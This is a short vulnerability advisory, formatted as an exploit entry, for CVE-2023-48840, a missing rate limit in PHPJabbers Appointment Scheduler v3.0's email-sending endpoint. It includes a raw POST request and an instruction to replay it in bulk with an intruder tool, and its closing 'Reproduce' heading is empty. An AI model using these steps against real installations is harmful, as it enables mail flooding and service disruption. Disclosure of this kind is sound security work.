Authored by Rahad Chowdhury, BugsBD Limited

PHPJabbers Appointment Scheduler version 3.0 suffers from a missing rate limiting control that can allow for resource exhaustion.

advisories | CVE-2023-48840

# Exploit Title: PHPJabbers Apointment Scheduler v3.0 - No Rate Limit in Email
# Date: 19/11/2023
# Exploit Author: BugsBD Limited
# Discover by: Rahad Chowdhury
# Vendor Homepage:
# Software Link:
# Version: v3.0
# Tested on: Windows 10, Windows 11, Linux
# CVE-2023-48840

PHPJabbers Apointment Scheduler v3.0 is vulnerable to Rate limiting.
Rate limiting is implemented in web applications and APIs to prevent
abuse, such as brute-force attacks or excessive requests that could
lead to resource exhaustion. When a rate limit is bypassed or not
properly enforced, it opens the door for attackers to carry out
malicious activities more quickly than intended, potentially leading
to unauthorized access, data breaches, or service disruption.

Steps to Reproduce:

1. Request Data:

POST /1701529051_590/index.php?controller=pjBaseOptions&action=pjActionAjaxSend
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/119.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 426
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close


2. Send it to intruder and configure then Start Attack and check mail.

## Reproduce: